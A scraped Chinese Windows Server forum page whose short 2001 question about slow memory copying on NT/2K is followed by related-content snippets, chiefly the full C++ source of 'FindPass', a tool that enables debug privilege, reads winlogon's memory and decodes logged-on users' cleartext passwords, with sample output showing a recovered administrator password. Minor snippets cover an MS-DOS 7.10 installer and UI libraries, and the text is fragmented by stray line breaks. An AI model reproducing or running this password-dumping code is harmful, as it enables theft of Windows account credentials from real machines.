社区
Windows Server
帖子详情
************NT/2K下的内存使用问题************************
thermometer
2001-12-28 10:30:16
我写了一个内存驱动,在系统运行时保留了10M内存,然后把该内存的指针传递给用户使用。但我发现在NT下,该内存与NT下用new分配的内存之间交换数据的速度非常慢(用CopyMemory)。比两块用new分配出的内存Copy速度慢10倍。
在Win2K下情况也是如此,在Win98下则没问题。
请大侠指教。
...全文
61
回复
打赏
收藏
************NT/2K下的内存使用问题************************
我写了一个内存驱动,在系统运行时保留了10M内存,然后把该内存的指针传递给用户使用。但我发现在NT下,该内存与NT下用new分配的内存之间交换数据的速度非常慢(用CopyMemory)。比两块用new分配出的内存Copy速度慢10倍。 在Win2K下情况也是如此,在Win98下则没问题。 请大侠指教。
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
用户名密码查询findpass
// Find Password from winlogon in win2000 / win
nt
4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comme
nt
, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查找本进程用户的密码 <167-174: GetEnvironme
nt
VariableW(L"USERNAME", UserName, 0x400); GetEnvironme
nt
VariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的
内存
空间中寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN
2K
), UserDomain) == 0)) > ,找到后就查后边的加密口令。 其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Docume
nt
s and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164
NT
AUTHORITY\SYSTEM csrss.exe 192
NT
AUTHORITY\SYSTEM winlogon.exe 188
NT
AUTHORITY\SYSTEM wins.exe 1212
NT
AUTHORITY\SYSTEM Explorer.exe 388 TEST-
2K
SERVER\Administrator i
nt
ernat.exe 1828 TEST-
2K
SERVER\Administrator conime.exe 1868 TEST-
2K
SERVER\Administrator msiexec.exe 1904
NT
AUTHORITY\SYSTEM tl
nt
svr.exe 1048
NT
AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-
2K
SERVER\Administrator csrss.exe 2056
NT
AUTHORITY\SYSTEM winlogon.exe 2416
NT
AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-
2K
SERVER\clovea Explorer.exe 2408 TEST-
2K
SERVER\clovea i
nt
ernat.exe 1480 TEST-
2K
SERVER\clovea cmd.exe 2508 TEST-
2K
SERVER\Administrator
nt
shell.exe 368 TEST-
2K
SERVER\Administrator
nt
shell.exe 1548 TEST-
2K
SERVER\Administrator
nt
shell.exe 1504 TEST-
2K
SERVER\Administrator csrss.exe 1088
NT
AUTHORITY\SYSTEM winlogon.exe 1876
NT
AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-
2K
SERVER\bingle Explorer.exe 2244 TEST-
2K
SERVER\bingle conime.exe 2288 TEST-
2K
SERVER\bingle i
nt
ernat.exe 1592 TEST-
2K
SERVER\bingle cmd.exe 1692 TEST-
2K
SERVER\bingle mdm.exe 2476 TEST-
2K
SERVER\bingle taskmgr.exe 752 TEST-
2K
SERVER\bingle pulist.exe 2532 TEST-
2K
SERVER\bingle C:\Docume
nt
s and Settings\bingle>D:\FindPass.exe TEST-
2K
SERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-
2K
SERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-
2K
SERVER/administrator/testserver. The hash byte is: 0x13. C:\Docume
nt
s and Settings\bingle>D:\FindPass.exe TEST-
2K
SERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-
2K
SERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Docume
nt
s and Settings\bingle>D:\FindPass.exe TEST-
2K
SERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-
2K
SERVER\bingle password in process 1876 ... The logon information is: TEST-
2K
SERVER/bingle. There is no password. C:\Docume
nt
s and Settings\bingle>D:\FindPass.exe TEST-
2K
SERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-
2K
SERVER\clovea password in process 2416 ... The logon information is: TEST-
2K
SERVER/clovea. There is no password. C:\Docume
nt
s and Settings\bingle> */ #include
#include
#include
#include
#include
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocume
nt
ed typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD Gra
nt
edAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Cou
nt
; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFN
NT
QUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PF
NT
RTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWin
NT
(void); BOOL IsWin
2K
(void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWin
NT
(DWORD, PDWORD); BOOL LocatePasswordPageWin
2K
(DWORD, PDWORD); void DisplayPasswordWin
NT
(void); void DisplayPasswordWin
2K
(void); // Global Variables PFN
NT
QUERYSYSTEMINFORMATION pfn
Nt
QuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PF
NT
RTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; i
nt
__cdecl main( i
nt
argc, char* argv[] ) { pri
nt
f( "\n\t To Find Password in the Winlogon process\n" ); pri
nt
f( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWin
NT
()) && (!IsWin
2K
())) { pri
nt
f ("Windows
NT
or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { pri
nt
f ("Unable to add debug privilege.\n"); return (0); } pri
nt
f ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE h
Nt
Dll = LoadLibrary ("
NT
DLL.DLL"); pfn
Nt
QuerySystemInformation = (PFN
NT
QUERYSYSTEMINFORMATION) GetProcAddress (h
Nt
Dll, "
Nt
QuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (h
Nt
Dll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (h
Nt
Dll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (h
Nt
Dll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PF
NT
RTLRUNDECODEUNICODESTRING) GetProcAddress (h
Nt
Dll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者
使用
了几个Native API,其实
使用
PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { pri
nt
f ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); pri
nt
f ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (h
Nt
Dll); return (0); } pri
nt
f("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironme
nt
VariableW(L"USERNAME", UserName, 0x400); GetEnvironme
nt
VariableW(L"USERDOMAIN", UserDomain, 0x400); } pri
nt
f( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory co
nt
aining // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的
内存
块 BOOL FoundPasswordPage = FALSE; if (IsWin
2K
()) FoundPasswordPage = LocatePasswordPageWin
2K
(WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWin
NT
(WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { pri
nt
f ("The logon information is: %S/%S.\n", UserDomain, UserName); pri
nt
f ("There is no password.\n"); } else { pri
nt
f ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin
2K
()) DisplayPasswordWin
2K
(); else DisplayPasswordWin
NT
(); } } else pri
nt
f ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (h
Nt
Dll); return (0); } // main // // IsWin
NT
函数用来判断操作系统是否WIN
NT
// BOOL IsWin
NT
(void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_
NT
); else return (FALSE); } // IsWin
NT
// // IsWin
2K
函数用来判断操作系统是否Win
2K
// BOOL IsWin
2K
(void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_
NT
) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin
2K
// // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurre
nt
Process (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCou
nt
= 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者
使用
的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfn
Nt
QuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amou
nt
of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfn
Nt
QuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Cou
nt
= ProcessInfoHeaderP->Cou
nt
; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Cou
nt
; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWin
NT
函数用来在
NT
中找到用户密码 // BOOL LocatePasswordPageWin
NT
(DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN
NT
0x200 #define USER_PASSWORD_OFFSET_WIN
NT
0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在
内存
中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WIN
NT
)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WIN
NT
); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) pri
nt
f ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMo
nt
h, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); //
NT
就是好,hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WIN
NT
+ 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WIN
NT
+ 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWin
NT
// // LocatePasswordPageWin
2K
函数用来在Win
2K
中找到用户密码 // BOOL LocatePasswordPageWin
2K
(DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN
2K
0x400 #define USER_PASSWORD_OFFSET_WIN
2K
0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increme
nt
= SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increme
nt
= MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的
内存
空间中寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN
2K
), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN
2K
); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN
2K
); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increme
nt
= SystemInfo.dwPageSize; // Move to next memory block. i += Increme
nt
; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin
2K
// // DisplayPasswordWin
NT
函数用来在
NT
中解码用户密码 // void DisplayPasswordWin
NT
(void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在
NT
中,hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); pri
nt
f ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); pri
nt
f ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin
NT
// // DisplayPasswordWin
2K
函数用来在Win
2K
中解码用户密码 // void DisplayPasswordWin
2K
(void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win
2K
中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. //
使用
i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许
使用
的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { pri
nt
f ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); pri
nt
f ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin
2K
// end PasswordReminder.cpp
MS-DOS 7.10 完整安装版
MS-DOS 7.10 完整安装版说明 ************************** MS-DOS 7.10介绍 =============== MS-DOS 7.10是目前功能最强大实用,且兼容性最好的DOS。而且由于它全面支持大硬盘、大
内存
、长文件名(LFN)、FAT32分区、可能直接启动Win3.x/9x等等,所以非常实用!尤其是对于大硬盘和FAT32分区的支持这点是最为重要的,因为现在的硬盘容量越来越大,例如30GB、50GB等硬盘现在越来越多,而旧版本的DOS就无法支持这些大硬盘。所以MS-DOS 7.10的功能是非常强大的,而且由于它可以自动做成与系统中已有的Win9x/
NT
/
2K
/XP+等系统的双启动,所以非常安全实用。 MS-DOS 7.10安装 =============== DOS71_1.IMG和DOS71_2.IMG两个文件分别为MS-DOS 7.10完整安装版的软盘IMG镜像文件,即安装盘1和安装盘2。要制作成安装盘,请用HD-COPY、WinImage之类的软件将它们分别写入软盘即做成真正的安装软盘。注意,是写入到软盘中,而不是复制文件,否则安装盘可能会无法启动。或者也可以用VMWare、Virtual PC、Bochs等虚拟机将它们(IMG镜像文件)做为虚拟软盘来直接
使用
并进行安装。 安装盘做好后,直接用上面的安装盘1启动系统,它就会自动启动MS-DOS 7.10安装程序,这时就可以按照提示(图形界面)以自动进行MS-DOS 7.10的安装了。这个安装程序可以自动将MS-DOS 7.10安装到硬盘中来
使用
。上面的安装盘2中还带有DOSSHELL、MSBACKUP等各种附加的DOS程序,也会一起安装的。说明:它可以自动与系统中已有的Win
NT
/
2K
/XP+、旧版本的DOS如MS-DOS 6.x等系统做成双启动。 如果没有软盘而想把它们解开到硬盘上安装,请用UNDISK、DOSIMG、WinImage之类的软件将它们全部解开到硬盘的一个文件夹中。注意:如果是两个IMG镜像文件的话,请将它们解开到硬盘的同一个路径下,而不是两个不同的路径下。然后在纯DOS下进入此路径并运行SETUP即可开始安装。 如果想用光盘进行安装的话,可以把IMG放在光盘中做为启动镜像(比如2.88MB启动镜像);或者下载“MS-DOS 7.10完整安装光盘ISO版”并直接启动以进行MS-DOS 7.10的安装。以下是MS-DOS 7.10完整安装版的光盘版(此ISO为可启动光盘的镜像): 安装光盘:http://newdos.yginfo.net/dosware/dos71cd.zip 由于MS-DOS 7.10的安装程序具有插件功能,以使得可以自动安装更多的程序,所以这个“MS-DOS 7.10完整安装光盘ISO版”中已包含有许多附件(例如一些MP3播放器、声卡驱动、汉字系统等)以让用户进行选择性的自动安装。如果是
使用
“MS-DOS 7.10完整安装软盘版”并想安装插件的话,可以在安装程序提示输入插件路径时插入相应的插件盘并确定即可,随后这些插件将会被自动随MS-DOS 7.10一起安装到系统中。如果不想安装插件或没有插件盘的话则可以直接跳过此步骤。 正因为MS-DOS 7.x的功能非常强大,微软公司推出的Windows 9x等GUI程序就是用了一个经过某些修改的精简/特别版的MS-DOS 7.x内核来启动的。而以上的MS-DOS 7.10完整安装版和Windows 9x所带的精简版的DOS相比之下功能也自然更加丰富,性能也更加稳定。也正由于MS-DOS 7.10的这些增强特点,所以在这个MS-DOS 7.10下可以直接进入Windows 3.x/9x等(毕竟Win3.x/9x只是DOS下的GUI程序),方法是先进入其相应的Windows文件夹/目录,然后用相应的WIN命令即可进入相应的Windows 3.x/9x即可,或者通过修改MSDOS.SYS的路径设置来直接实现。 如果系统中已安装了Win9x,再安装MS-DOS 7.10的话,安装程序在安装中通常会提示是否自动设置Win9x的路径,以便直接输入WIN命令就可以进入Win9x,这时请选择“是”。这样一来,MS-DOS 7.10安装成功并启动后,若想进入Win9x的话,只需在DOS命令行下输入WIN命令即可进入。如果系统中已安装了Win
NT
/
2K
/XP,再安装MS-DOS 7.10的话,安装程序通常会自动做成DOS与Win
NT
/
2K
/XP双启动。MS-DOS 7.10安装成功后,系统启动时会自动出现双启动菜单,选择菜单中的“MS-DOS 7.10”就可以进入安装好的MS-DOS 7.10了。
Windows驱动开发系列:
NT
+WDM+WDF
驱动开发系列:
NT
+WDM+WDF 系列1:小白入门经典 系列2:WDM驱动开发 系列3:WDF驱动开发
AppFace 皮肤
AppFace For VC 支持Win9X/
NT
/
2K
/XP,UNICODE/ANSI,能够对目标进程里的所有Widows标准控件,系统菜单,通用对话框等实现换肤,对非商业用途而言,它是完全免费的。关键的是AppFace的
使用
非常简单,很容易添加到已有的工程中。可以到它的网站 http://www.appface.com 去下载最新版本 。 AppFace 支持三种皮肤加载方式,从磁盘文件加载,从资源加载,从
内存
加载。
MS-DOS 7.10安装
S-DOS 7.10是目前功能最强大实用,且兼容性最好的DOS。而且由于它全面支持大硬盘、大
内存
、长文件名(LFN)、FAT32分区、可能直接启动Win3.x/9x等等,所以非常实用!尤其是对于大硬盘和FAT32分区的支持这点是最为重要的,因为现在的硬盘容量越来越大,例如30GB、50GB等硬盘现在越来越多,而旧版本的DOS就无法支持这些大硬盘。所以MS-DOS 7.10的功能是非常强大的,而且由于它可以自动做成与系统中已有的Win9x/
NT
/
2K
/XP+等系统的双启动,所以非常安全实用。 MS-DOS 7.10安装
Windows Server
6,849
社区成员
178,034
社区内容
发帖
与我相关
我的任务
Windows Server
Windows 2016/2012/2008/2003/2000/NT
复制链接
扫一扫
分享
社区描述
Windows 2016/2012/2008/2003/2000/NT
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章